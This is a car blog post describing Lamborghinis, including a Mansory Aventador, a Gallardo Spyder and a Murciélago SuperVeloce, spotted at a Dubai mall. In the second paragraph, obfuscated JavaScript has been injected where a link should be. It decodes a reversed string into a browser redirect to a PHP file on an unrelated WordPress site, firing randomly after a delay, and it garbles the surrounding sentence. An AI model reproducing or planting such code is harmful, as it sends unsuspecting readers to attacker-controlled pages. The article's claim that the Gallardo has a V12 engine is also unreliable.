The prospect of another long weekend in the UAE is just around the corner. And as our old mate at 4WheelsofLux – Justus Nyman – usually discovers, the crème de la crème of the automotive world tend to stretch their suspension come the end of the week.
This Mansory Aventador for example is one of the more notable visitors to the world’s largest mall. Indeed, copious amounts of lunacy mean the Mansory has $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/shot-of-the-day/shot-of-the-day-an-announcement/” target=”_blank”>already made its crankandpiston bow.
And we do mean ‘lunacy’. While the carbon fibre implants and ultra-lightweight alloys rather steal the show, the cheeky 744hp churning away in this re-styled LP 700-4 means a 2.8sec 0-100kph time and a 355kph top speed. Hope those new parts are glued down properly!
Mind you, this particularly rare brute isn’t the only Raging Bull to frequent the Dubal Mall valet parking area. This ‘standard’ Aventador (boasting just a measly 700hp) upholds family honour nicely…
…as does this Gallardo Spyder. And don’t be fooled into thinking this is just a soft top version of its coupe elder brother. Despite sharing the same 5.2-litre V12, virtually the same power (520hp in the coupe, 513hp in the Spyder), and pretty much every bodywork crease, Lamborghini still marketed the Spyder as ‘an entirely new model’.
As far as we can see, the Italian magnates just cut the roof off. But who are we to judge?
This though – the Murciélago LP 670-4 SuperVeloce – is an entirely different ball game. With enough power and torque to rip the earth clean from its axis (661hp and 490lb-ft respectively), this special monster followed in the footsteps of the Diablo SV and the Miura SV: two little letters that made a big difference.
And not just to the performance. Suddenly the Murciélago – hardly the subtlest of aesthetic designs to start with – now boasted an aggressively designed rear wing, bold decaling, and carbon fibre up the Lambo’s re-chiselled wazoo. In other words, demonic!
